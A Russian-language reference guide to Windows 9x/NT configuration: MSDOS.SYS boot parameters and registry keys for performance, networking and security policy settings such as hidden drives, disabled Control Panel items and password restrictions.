ОБРАТИТЕ ВНИМАНИЕ: Этот параметр присутствует только тогда, когда Вы сохранили при запросе Ваши системные файлы, в
течение установки Windows 95.
WinBootDir=<Каталог Windows>
По умолчанию: Каталог, указанный во время установки (например, C:\WINDOWS)
Цель: Определяет расположение необходимых файлов для загрузки.
WinDir =<Каталог Windows>
По умолчанию: Каталог, указанный во время установки (например, C:\WINDOWS)
Цель: Определяет расположение каталога Windows.
Изменение времени доступа к функциональным клавишам (Windows 9x)
По умолчанию Windows 9x позволяет использовать функциональные клавиши при начальной загрузке в течение 2 секунд, эти
клавиши дают возможность управлять процессом начальной загрузки.
1. Измените атрибуты для файла MSDOS.SYS, так что бы он не был 'Только для чтения', MSDOS.SYS находится в корневой директории
загрузочного диска. Затем откройте файл, используя Блокнот или другой текстовый редактор (кроме Microsoft Word или другого
текстового процессора).
2. Измените значение параметра 'BootDelay=' на значение равное числу секунд, во время которых клавиши будут доступны.
Например, для того чтобы позволить использовать клавиши в течение 5 секунд, установите значение 'BootDelay=5'
3. Изменения вступят в силу при следующей перезагрузке.
Ключ: [MSDOS.SYS]
Значение: BootDelay=2 (по умолчанию)
Управление автоматической загрузкой GUI Windows 9x (Windows 9x)
По умолчанию Windows 9x автоматически загружает GUI (или Рабочий стол Windows), с помощью этого параметра Вы можете
определить, загружать GUI или отображать только командную строку MS-DOS 7.0.
1. Измените атрибуты для файла MSDOS.SYS, так что бы он не был 'Только для чтения', MSDOS.SYS находится в корневой директории
загрузочного диска. Затем откройте файл, используя Блокнот или другой текстовый редактор (кроме Microsoft Word или другого
текстового процессора).
2. Измените значение параметра 'BootGUI=' на 'BootGUI=1', для загрузки GUI или на 'BootGUI=0', для блокировки GUI.
3. Изменения вступят в силу при следующей перезагрузке.
Ключ: [MSDOS.SYS]
Значение: BootGUI=1 (по умолчанию)
Отображение экранной заставки Windows при загрузке (Windows 9x)
Когда Windows загружается, то Вы обычно видите заставку с облаками, эта заставка может быть отключена, и Вы увидите фоновый
процесс начальной загрузки DOS.
1. Измените атрибуты для файла MSDOS.SYS, так что бы он не был 'Только для чтения', MSDOS.SYS находится в корневой директории
загрузочного диска. Затем откройте файл, используя Блокнот или другой текстовый редактор (кроме Microsoft Word или другого
текстового процессора).
2. Измените значение параметра 'Logo=' на 'Logo=1', для отображения экранной заставки или на 'Logo=0', для ее блокировки.
3. Изменения вступят в силу при следующей перезагрузке.
Подсказка: Нажатие клавиши , во время отображения экранной заставки, произведет тот же эффект для текущего сеанса.
Ключ: [MSDOS.SYS]
Значение: Logo=1 (по умолчанию)
Вынуждение Вашего компьютера загружаться в Безопасном режиме (Windows 9x)
Этот параметр заставит Ваш компьютер всегда загружаться в Безопасном режиме.
1. Добавьте новый параметр 'BootSafe=' в файл MSDOS.SYS.
2. Установите его значение равным '1', что бы заставить систему всегда загружаться в Безопасном режиме, или равным '0', для
использования обычной загрузки.
Параметр:
BootSafe
Значение: (1=включено)
Отключение предупреждающего сообщения о Безопасном режиме (Windows 9x)
Этот параметр отключает предупреждающее сообщение о Безопасном режиме при загрузке, и предотвращает выполнение команд из
меню "Автозагрузка".
1. Добавьте новый параметр 'BootWarn=' в файл MSDOS.SYS.
2. Установите его значение равным '1', что бы отключить предупреждение, или равным '0', для обычной работы.
Параметр:
BootWarn
Значение: (1 = включено)
Управление поддержкой двойной буферизации Windows (Windows 98)
Windows 98 имеет поддержку двойной буферизации, некоторые системы могут быть несовместимыми между BIOS-ом компьютера и
файлом Dblbuff.sys.
Значение '1' это условная установка, которая включает двойную буферизацию только для контроллеров, которые нуждаются в этом
(например, SCSI контроллеры). Значение '2' это безоговорочная установка, которая включает двойную буферизацию независимо от
того, нуждается ли в этом контроллер или нет.
Обратите внимание: Некоторые компьютеры, особенно те, которые используют SCSI жесткий диск требуют, чтобы двойная
буферизация обязательно использовалась.
Ключ: [MSDOS.SYS]
Параметр: DoubleBuffer
Значение: (0 = отключено)
Загрузка Двойной буферизации / Сжатия дисков в нижнюю память (Windows 9x)
Отключение этого параметра не позволит Windows 95 загружать COMMAND.COM или DRVSPACE.BIN/DBLSPACE.BIN в верхние
640КБ памяти. Если у Вас существует проблема совместимости с программным обеспечением, которое требует доступа к верхней
памяти, то попробуйте установить значение этого параметра равным '0'.
Параметр: LoadTop
Значение: (0 = загрузка в нижнюю память)
==============
[Эффективность]
==============
Изменение задержки показа меню (Windows 9x и NT)
Этот параметр управляет задержкой отображения меню на рабочем столе, для увеличения быстродействия меню попробуйте
уменьшить это значение до 100.
Ключ: [HKEY_CURRENT_USER\Control Panel\Desktop]
Параметр: MenuShowDelay
Тип: REG_SZ
Значение: 0-999 (миллисекунд)
Управление функцией анимации Windows (Windows 9x и NT)
По умолчанию у Windows включены функции анимации окон, хоть это и может выглядеть красиво, но они могут замедлить ваш PC,
если Вы имеете медленную графическую плату. Эти параметры настройки позволяют Вам управлять функцией анимации Windows.
Измените параметр 'MinAnimate', в ключе [HKEY_CURRENT_USER\Control Panel\Desktop], установив его значение равным '0' для
отключения или '1' для включения.
Ключ: [HKEY_CURRENT_USER\Control Panel\Desktop]
Параметр: MinAnimate
Тип: REG_SZ
Значение: (0=отключено, 1=включено)
Оптимизация кэша второго уровня на значение более 256КБ (Windows NT)
Windows NT по умолчанию оптимизирован до размера L2 кэша на 256КБ. Теперь у большинства компьютеров, имеющих L2 кэши
размер более 256КБ, поэтому потратьте время, чтобы изменить параметр ‘SecondLevelDataCache’, на соответствующий размер
установленного L2 кэша.
1. Используя Regedit, откройте ключ указанный ниже.
2. Найдите параметр 'SecondLevelDataCache' и дважды щелкните на нем.
3. Установите переключатель 'Десятичные' и введите Ваш размер кэша второго уровня в КБ.
4. Выйдите из Regedit и перезагрузитесь.
Ключ: [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management]
Параметр: SecondLevelDataCache
Тип: REG_DWORD
Значение: Кеш (в Kb) используя десятичную систему счисления
Управление выполнением гладкой прокрутки Windows (Windows 9x и NT)
Этот параметр позволяет Вам отключать функцию гладкой прокрутки в Windows, которая на маломощной системе может уменьшить
ее эффективность.
1. Используя RegEdit, найдите ключ указанный ниже.
2. Измените параметр 'SmoothScroll' на значение равное '00 00 00 00' для отключения, или на '01 00 00 00' для включения. Если
значение еще не существует, создайте новое двоичное значение, назвав его 'SmoothScroll'.
Ключ: [HKEY_CURRENT_USER\Control Panel\Desktop]
Параметр: SmoothScroll
Тип: REG_BINARY
Значение: (00 00 00 00 = отключено, 01 00 00 00 = включено)
==============================
[Эффективность - Файловая система]
==============================
Ускорение кэширования файловой системы (Windows NT)
Если Вы не испытываете недостатка в дополнительной оперативной памяти, то можете ускорить действие файловой системы,
увеличив параметр "IoPageLockLimit" от заданных по умолчанию 512КБ до 4096КБ или более.
Этот параметр представляет максимальное число байт, которые могут быть блокированы для операций I/O. Когда значение
параметра равно 0, то кэш будет равен 512КБ. Установка максимального значения должна основываться на объеме памяти в Вашей
системе.
RAM (MB) IoPageLockLimit
32 4096000
64 8192000
128 16384000
256+ 65536000
Перед изменением параметра, установите минимальное значение, основываясь на эффективности значения за определенный период
времени. Производите изменения, постепенно увеличивая параметр на небольшие значения.
Ключ: [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management]
Тип: REG_DWORD
Отключение создания имен файлов в формате 8.3 (NTFS) (Windows NT)
Этот ключ останавливает работу части NTFS, отвечающей за создание совместимых с МС-ДОС имен файлов в формате 8.3 .
Отключение этого свойства может увеличить эффективность работы в разделах NTFS, с большим количеством файлов имеющих
длинные имена.
Предупреждение: Некоторые 16 разрядные инсталляционные программы могут иметь проблемы при включении этого параметра, Вы
можете или заново включить создание 8.3 имен файлов в течение установки, или использовать имена каталогов не в формате LFN, то
есть "c:\progra~1\applic~1"
Ключ: [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem]
Параметр: NtfsDisable8dot3NameCreation
Тип: REG_DWORD
Значение: (0=отключено, 1=включено)
Увеличение производительности NTFS, с помощью отключения марки времени последнего доступа (Windows NT)
Когда Windows NT создает список каталогов (Проводник, команда DIR, и т.д.) в разделе NTFS, она модифицирует марку времени
последнего доступа на каждом обнаруженном каталоге. Если каталогов очень много, это может повлиять на эффективность.
Для установки этого параметра используйте Regedit, чтобы изменить ключ:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem
Добавьте параметр "NtfsDisableLastAccessUpdate" типа REG_DWORD. Установите его значение равным "1", чтобы не устанавливать
метку времени последнего доступа.
Ключ: [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem]
Параметр: NtfsDisableLastAccessUpdate
Тип: REG_DWORD
Значение: (0 = отключено, 1 = включено)
============================
[Эффективность - Сеть и Internet]
============================
Оптимизация параметров DefaultRcvWindow и DefaultTTL (Windows 9x)
Оптимизация "RcvWindow" и "DefaultTTL" наряду с другими параметрами системного реестра типа "MaxMTu" и "MaxMSS" может
ускорить TCP/IP подключения Удаленного доступа к сети (т.е. подключения к Internet) на целых 200%. RWIN ("Окно заполнения")
это буфер данных, заполнения которого Ваша машина ожидает, прежде чем проявить активность.
Для оптимизации этих параметров используйте Regedit:
1. Добавьте новый строковый параметр "DefaultRcvWindow" в ключе
"HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxD\MSTCP", и установите его значение равным "4288".
2. Создайте строковый параметр "DefaultTTL" в том же ключе, и установите его значение равным "128".
3. Выйдите из Regedit, и перезагрузите Ваш PC.
Ключ: [HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxD\MSTCP]
Параметр: DefaultRcvWindow, DefaultTTL
Тип: REG_SZ
Оптимизация быстродействия подключения с помощью Удаленного доступа к сети (Windows 9x)
При оптимизации параметров "MaxMTU" и "MaxMSS" наряду с "RWIN" и "TTL" Вы можете увеличить надежность подключения и
его эффективность на целых 200%. Такая возможность существует, т.к. параметры установленные по умолчанию в Windows, не
оптимизированы для модемного подключения.
1. Чтобы изменить быстродействие, Вы должны сначала найти ID (идентификатор) вашего Контроллера удаленного доступа. Найдите
ключ [HKEY_LOCAL_MACHINE\Enum\Root\Net], там должны находится подключи типа 0000, 0001 ... Найдите подключ, который
имеет параметр "DeviceDesc" равный строке "Контролер удаленного доступа". Внутри этого подключа будет находится подключ с
именем "Bindings". Внутри подключа "Bindings" будет находится параметр типа "MSTCP\0000". Обратите внимание на четыре
цифры после "MSTCP", и используйте их в следующем шаге.
2. Откройте ключ [HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Class\NetTrans\xxxx], где xxxx= это номер
определенный в предыдущем шаге. В этом ключе добавьте новый строковый параметр "MaxMTU", и установите его значение равным
"576", также добавьте строковый параметр "MaxMSS", и установите его значение равным "536".
3. Выйдите из Regedit, и перезагрузите Ваш компьютер.
Ключ: [HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Class\NetTrans\xxxx]
Параметр: MaxMTU, MaxMSS
Тип: REG_SZ
Увеличение сетевой эффективности (Windows 9x и NT)
Если Вы увеличите число буферов переадресации сервера, это может увеличить сетевую производительность. Каждая дополнительная
линия связи, которую Вы сконфигурируете, будет дополнительно занимать 1КБ памяти, но только тогда, когда Ваши программы
фактически используют эту связь.
Чтобы настроить дополнительные буфера измените ключ:
[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanmanWorkstation\Parameters]
Измените или добавьте значение параметра типа REG_DWORD для:
"MaxCmds" в диапазоне от 0 до 255, по умолчанию - 15
"MaxThreads" установите равным значению "MaxCmds"
Вы можете также увеличить значение параметра "MaxCollectionCount" типа REG_DWORD. Этот параметр представляет буфер для
записи имен каналов. Значение по умолчанию - 16, а диапазон его значений находится в пределах от 0 до 65535.
Ключ: [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters]
Тип: REG_DWORD
===================
[Защита - Программы]
===================
Отключение приглашения МС-ДОС к вводу команды (Windows 9x и NT)
Этот параметр позволяет Вам отключить использование приглашения МС-ДОС к вводу команды в Windows.
1. Используя Regedit, найдите ключ указанный ниже, создайте его, если он не существует.
2. Создайте новый параметр типа DWORD, и назовите его 'Disabled'.
3. Для отключения приглашения к вводу команды, установите значение параметра 'Disabled' равным '1' для того, что бы заново
включить приглашение, установите значение на '0'.
Обратите внимание: Вы должны перезагрузиться для того, что бы это изменение вступило в силу.
Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp]
Параметр: Disabled
Тип: REG_DWORD
Значение: (0 = отключено, 1 = включено)
Отключение режима МС-ДОС для программ в Windows (Windows 9x и NT)
Этот параметр позволяет Вам отключить использование реального режима программ DOS внутри оболочки Windows.
1. Используя Regedit, найдите ключ указанный ниже, создайте его, если он не существует.
2. Создайте новый параметр типа DWORD, и назовите его 'NoRealMode'.
3. Чтобы отключить реальный режим DOS, установите значение параметра 'NoRealMode' равным '1' для того, что бы заново включить
приглашение, установите значение на '0'.
Обратите внимание: Вы должны перезагрузиться для того, что бы это изменение вступило в силу.
Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp]
Параметр: NoRealMode
Тип: REG_DWORD
Значение: (0 = отключено, 1 = включено)
Удаление оценки пароля в Internet Explorer 3.x (Windows 9x и NT)
Удалите все параметры в этом ключе, чтобы не использовать функцию оценки пароля в Internet Explorer 3.x.
Чтобы удалять этот ключ, выделите все параметры и нажмите клавишу "Delete" для каждого элемента.
Ключ: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Ratings]
СИСТЕМНЫЙ РЕЕСТР
--------------------------------------------------------------------------------
[Защита - Панель управления]
Отключение доступа к дисплею в Панели управления (Windows 9x и NT)
Этот параметр отключает доступ к значку "Дисплей" в Панели управления, и не позволяет пользователям изменять параметры
дисплея.
Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]
Параметр: NoDispCPL
Тип: REG_DWORD
Значение: (0 = отключено, 1 = включено)
Отключение доступа к сети в Панели управления (Windows 9x)
Этот параметр отключает доступ к значку "Сеть" в Панели управления.
Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Network]
Параметр: NoNetSetup
Тип: REG_DWORD
Значение: (0 = отключено, 1 = включено)
Отключение доступа к принтерам в Панели управления (Windows 9x)
Этот параметр отключает доступ к значку "Принтеры" в Панели управления, и не позволяет пользователям изменять параметры
принтеров.
Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
Параметр: NoPrinters
Тип: REG_DWORD
Значение: (0 = отключено, 1 = включено)
Отключение доступа к паролям в Панели управления (Windows 9x)
Эти параметры отключают доступ к значку "Пароли" в Панели управления, и непозволяет пользователем изменять параметры
связанные с защитой.
Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]
Параметр: NoSecCPL
Тип: REG_DWORD
Значение: (0 = отключено, 1 = включено)
==================
[Защита - Проводник]
==================
Диалоговое окно уведомления об ответственности перед входом в систему (Windows 9x и NT)
Используйте этот ключ, чтобы создать диалоговое окно, которое будет отображено для любого пользователя перед входом в систему.
Это полезно тогда, когда требуется предупредить людей, делающих попытку войти в систему, и не имеющих на то прав, об
ответственности.
1. Используя Regedit, найдите соответствующий ключ для вашей операционной системы.
Windows 9x:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon
Windows NT:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
2. Измените значение параметра 'LegalNoticeCaption' так, чтобы оно соответствовало заголовку диалогового окна (например
'Внимание!'). Если этот параметр не существует, создайте его.
3. Затем установите значение параметра 'LegalNoticeText' так, чтобы он был равен содержанию диалогового окна (например 'Не
входите в систему, если у Вас нет полномочий! ')
4. Выйдите из Regedit, перезагрузитесь, и при следующей загрузка, у Вас должно появится диалоговое окно с предупреждением.
Параметр:
LegalNoticeCaption, LegalNoticeText
Тип: REG_SZ
Отключение команды "Выключить компьютер" (Windows 9x и NT)
Этот параметр позволит Вам не дать пользователям выключать компьютер с помощью команды "Выключить компьютер".
Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
Параметр: NoClose
Тип: REG_DWORD
Значение: (0 = допустить выключение, 1 = блокировать выключение)
Удаление группы "Стандартные программы" из меню "Пуск" (Windows 9x и NT)
Отключает отображение группы "Стандартные", когда пользователь выбирает пункт "Программы" из меню "Пуск".
Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
Параметр: NoCommonGroups
Тип: REG_DWORD
Значение: (0 = отключено, 1 = включено)
Скрытие всех элементов на Рабочем столе (Windows 9x и NT)
Установка этого параметра скрывает все элементы и программы на Рабочем столе Windows.
Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
Параметр: NoDesktop
Тип: REG_DWORD
Значение: (0 = отключено, 1 = включено)
Скрытие дисков в Моем компьютере (Windows 9x и NT)
Этот параметр управляет отображением дисков в 'Моем компьютере', он дает возможность скрыть все диски или только выбранные.
Параметр 'NoDrives' определяет, какие из дисков являются видимыми. Порядок устанавливается с самого низкого бита - диск A: до
26-ого бита - диск Z: Чтобы скрыть диск, включите его бит.
Если Вы не умеете работать с шестнадцатеричными числами, установите эти десятичные числа для скрытия диска(ов):
A: 1, B: 2, C: 4, D: 8, E: 16, F: 32, G: 64, H: 128, I: 256, J: 512, K: 1024, L: 2048, M: 4096, N: 8192, O: 16384, P: 32768, Q: 65536, R:
131072, S: 262144, T: 524288, U: 1048576, V: 2097152, W: 4194304, X: 8388608, Y: 16777216, Z: 33554432, ALL: 67108863
Обратите внимание: Эти диски будут все равно отображены в Диспетчере файлов, для удаления Диспетчера файлов, удалите файл
winfile.exe.
Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
Параметр: NoDrives
Тип: REG_DWORD
Удаление папки "Избранное" из меню "Пуск" (Windows 9x и NT)
Чтобы удалить папку "Избранное" из меню "Пуск", измените этот ключ системного реестра.
Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
Параметр: NoFavoritesMenu
Тип: REG_DWORD
Значение: (0=отключено, 1=включено)
Удаление меню "Файл" из Проводника (Windows NT)
Удаляет меню "Файл" из инструментальной панели Проводника. (Этот параметр была добавлен в Сервисном Пакете 2.)
Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
Параметр: NoFileMenu
Тип: REG_DWORD
Значение: (0 = отключено, 1 = включено)
Удаление команды "Найти" из меню "Пуск" (Windows 9x и NT)
Когда включен этот параметр команда 'Найти' будет удалена из меню "Пуск".
Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
Параметр: NoFind
Тип: REG_DWORD
Значение: (0 = отключено, 1 = включено)
=============
[Защита - Сеть]
=============
Автоматическое отключение совместного использования (Windows NT)
Этот ключ определяет, следует ли устанавливать совместную администрацию, то есть c$ и d$. Установите значение параметра
"AutoShareServer" равным "0", чтобы отключить совместную администрацию сервера. Установите значение параметра
"AutoShareWks" равным "0", чтобы отключить совместную администрацию Рабочей станции.
Ключ: [HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanmanServer\Parameters]
Параметр: AutoShareServer, AutoShareWks
Тип: REG_DWORD
Значение: (0 = отключено, 1 = включено)
Отключение опции "Сохранить пароль" в Удаленном доступе к сети (Windows NT)
Когда Вы набираете телефонный номер в Удаленном доступе к сети, то можете использовать опцию 'Сохранить пароль' для того,
чтобы Ваш пароль был кэширован, и у Вас не было необходимости вводить его при каждом соединении. Этот параметр отключает
такую возможность.
Ключ: [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RasMan\Parameters]
Параметр: DisableSavePassword
Тип: REG_DWORD
Значение: (0 = отключено, 1 = включено)
Скрытие последнего имени пользователя (Windows NT)
Результатом включения этого параметра будет отображение пустого поля в блоке "Имя пользователя" при входе в систему, что
позволит предотвратить вход в систему людей, использующих последнее имя пользователя системы.
Ключ: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
Параметр: DontDisplayLastUserName
Тип: REG_SZ
Значение: (0 = отключено, 1 = включено)
Пересылка незашифрованных паролей (Windows NT)
Соединение с SMB серверами (типа Samba и LAN Manager для UNIX) с использованием незашифрованного пароля (открытый текст)
стало невозможным, после обновления Windows NT 4.0 Сервисным пакетом 3. Это происходит потому, что дескриптор
незашифрованных паролей системы переадресации SMB в Сервисном пакете 3 работает по-другому, чем в предыдущих версиях
Windows NT. Начиная с Сервисного пакета 3, система переадресации SMB не будет пересылать незашифрованные пароли, если Вы не
добавите параметр в системный реестр на их использование.
1. Добавьте новый параметр "EnablePlainTextPassword" типа DWORD в ключ указанный ниже и установите его значение равным "1".
2. Выйдете из Regedit и перезагрузитесь.
Ключ: [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Rdr\Parameters]
Параметр: EnablePlainTextPassword
Тип: REG_DWORD
Значение: (0 = отключено, 1 = включено)
Скрытие серверов из списка Окна просмотра (Windows NT)
Если у Вас безопасный сервер, или Рабочая станция, и Вы не хотите, что бы они отображались в общем, списке Окна просмотра,
добавьте этот параметр в системный реестр.
Чтобы скрыть сервер из окна просмотра, отредактируйте ключ:
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]
Добавьте параметр "Hidden" типа REG_DWORD, и установите его значение равным "1".
Перезагрузите сервер.
( Тот же самый результат может быть получен выполнением команды "NET CONFIG SERVER /HIDDEN:YES" на Рабочей станции.)
Ключ: [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]
Параметр: Hidden
Тип: REG_DWORD
Значение: (0 = отключено, 1 = включено)
Скрытие паролей совместного использования звездочками (Windows 9x и NT)
Этот параметр определяет, показывать пароль, напечатанный при доступе к совместно используемым файлам, обычным текстом или
звездочками.
Ключ: [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Network]
Параметр: HideSharePwds
Тип: REG_DWORD
Значение: (0 = отключено, 1 = включено)
Установка минимальной длины пароля (Windows 9x и NT)
Вы можете заставить Windows отклонять пароли, которые не имеют, установленной Вами, минимальной длины. Это позволит
предотвратить использование тривиальных паролей там, где важна защита.
1. Используя Regedit, откройте ключ указанный ниже, если он не существует, создайте его.
2. Добавьте новый параметр 'MinPwdLen' двоичного типа, и установите его значение равным минимальному числу символов,
требуемому для принятия пароля.
Обратите внимание: Это изменение не затрагивает существующие пароли, а воздействует только на новые, или замену старых.
Ключ: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Network]
Параметр: MinPwdLen
Тип: REG_BINARY
Определение локальной и удаленной видимости диска под WinNT (Windows NT)
Администраторы могут использовать параметр "NODRIVES" для отключения доступа к дисководам гибких дискет. Параметр
"NODRIVES" состоит из 32-разрядного слова, и определяет локальную и сетевую видимость для каждого логического диска на
компьютере. Каждый бит до 26-ого соответствуют имени диска от А до Z. Диск будет видим, если его значение равно "0", и скрыт
если его значение равно "1".
Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
Параметр: NODRIVES
Тип: REG_DWORD
Значение: Такое значение: 11111111111111111111111111 (0x3FFFFFFh), скроет все имена дисков.
Удаление элемента "Вся сеть" из Сетевого окружения (Windows 9x и NT)
Вся сеть - элемент в Сетевом окружении, который позволяет пользователям видеть все Рабочие группы и Домены в сети. Этот
элемент может быть заблокирован так, что бы пользователи могли использовать только их собственую Рабочую группу или домен.
Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Network]
Параметр: NoEntireNetwork
Тип: REG_DWORD
Значение: (0 = отключено, 1 = включено)
Удаление пункта "Завершение сеанса <Имя пользователя>" из меню "Пуск" (Windows 9x и NT)
Чтобы удалить команду "Завершение сеанса <Имя пользователя>" из меню "Пуск", измените ключ в реестре, используя Редактор
системного реестра.
Обратите внимание: Этот параметр используется только при установке Internet Explorer 4.0 и старше.
Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
Параметр: NoLogOff
Тип: REG_BINARY
Значение: 01 00 00 00
Удаление команд Подключить и Отключить сетевой диск (Windows NT)
Этот параметр не дает пользователям создавать дополнительные сетевые подключения, удаляя кнопки "Подключить сетевой диск" и
"Отключить сетевой диск" из инструментальной панели Проводника, а также удаляя пункты контекстного меню Моего компьютера и
меню "Сервис" Проводника. (Этот параметр была добавлен в Сервисном Пакете 2.)
Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
Параметр: NoNetConnectDisconnect
Тип: REG_DWORD
Значение: (0 = отключено, 1 = включено)
Скрытие содержание Рабочей группы из Сетевого окружения (Windows 9x и NT)
Включение этго параметра, скрывает все содержание Рабочей группы из Сетевого окружения.
Ключ: [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Network]
Параметр: NoWorkgroupContents
Тип: REG_DWORD
Значение: (0 = отключено, 1 = включено)
Изменение времени перед предупреждением об истечении срока пароля (значение по умолчанию 14 дней) (Windows NT)
Этот параметр определяет, за какое количество дней до истечения срока пароля пользователя отобразится предупреждающее
сообщение.
1. Откройте системный реестр, и найдите ключ указанный ниже.
2. Создайте новый параметр 'PasswordExpiryWarning' типа DWORD, установите его значение равным числу дней, за которое должно
произойти уведомление о смене пароля.
Ключ: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
Параметр: PasswordExpiryWarning
Тип: REG_DWORD
Значение: (Количество дней)
Ограничение информации, доступной анонимным пользователям при входе в систему (Windows NT)
Windows NT обладает особенностью при, которой анонимные пользователи входя в систему могут получить список имен
пользователей доменом и список совместно используемых имен. Тем, кто хочет усовершенствовать защиту, потребуется
возможность ограничить эти функциональные возможности.
1. Запустите Редактор системного реестра (regedit.exe).
2. Откройте следующий ключ в системном реестре:
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]
3. В меню "Правка" выберете "Создать параметр", используйте следующие данные:
Параметр: RestrictAnonymous
Тип: REG_DWORD
Значение: 1
4. Выйдете из Редактора системного реестра, и перезагрузите компьютер для того, чтобы изменения вступили в силу.
Обратите внимание: Выполнение этой операции возможно только после установки Сервисного пакета 3 для Windows NT 4.0.
Ключ: [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]
Параметр: RestrictAnonymous
Тип: REG_DWORD
Значение: (0 = отключено, 1 = включено)
================
[Защита - Система]
================
Обеспечение сетевого доступа к дискам CD-ROM (Windows NT)
Этот параметр определяет, являются ли данные на диске CD-ROM доступными для других пользователей. Он частично удовлетворяет
требованиям защиты C2 для сменных средств.
Диск CD-ROM по умолчанию предназначен для совместного использования в сети. Если значение этого параметра равно '1', то
только текущий пользователь сможет обратиться к диску CD-ROM. Это не позволит администраторам и удаленным пользователям (и
даже пользователям одной рабочей станции) получить доступ к диску, во время использования текущим пользователем компьютера.
Диск снова станет доступным, когда текущий пользователь выйдет из компьютера.
Значения параметра:
· '0' = к компакт-дискам могут обращаться все администраторы в домене.
· '1' = к компакт-дискам в может обращаться только текущий пользователь вошедший в компьютер.
Ключ: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
Параметр: AllocateCDRoms
Тип: REG_SZ
Значение: (0 = включено, 1 = отключено)
Обеспечение сетевого доступа к дисководам для гибких дискет (Windows NT)
Этот параметр определяет, являются ли данные на гибком диске доступными для других пользователей. Он частично удовлетворяет
требованиям защиты C2 для сменных средств.
Гибкие диски по умолчанию предназначены для совместного использования в сети. Если значение этого параметра равно '1', то
только текущий пользователь сможет обращаттиться к гибким дискам. Это не позволит администраторам и удаленным пользователям
(и даже пользователям одной рабочей станции) получить доступ к дискам, во время использования текущим пользователем
компьютера. Диски снова станут доступным, когда текущий пользователь выйдет из компьютера.
Значения параметра:
· '0' = к гибким дискам могут обращаться все администраторы в домене.
· '1' = к гибким дискам может обращаться только текущий пользователь вошедший в компьютер.
Ключ: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
Параметр: AllocateFloppies
Тип: REG_SZ
Значение: (0 = включено, 1 = отключено)
Требование алфавитно-цифрового пароля Windows (Windows 9x и NT)
Windows по умолчанию принимает любой пароль, кроме пустого. Этот параметр определяет, будет ли Windows требовать
алфавитно-цифровой пароль, то есть пароль, созданный из комбинации букв (A, B, C. ..) и чисел (1, 2, 3 ...).
Ключ: [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Network]
Параметр: AlphanumPwds
Тип: REG_DWORD
Значение: (0 = отключено, 1 = включено)
Управление автоматической перезагрузкой оболочки (Windows NT)
По умолчанию, если в интерфейсе пользователя Windows NT или в одном из его компонентов происходит сбой, интерфейс
перезагружается автоматически. Эта установка может быть изменена так, чтобы Вы проделывали эту операцию вручную.
Ключ: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
Параметр: AutoRestartShell
Тип: REG_DWORD
Значение: (0 = отключено, 1 = включено)
Блокировка кэширования пароля (Windows 9x и NT)
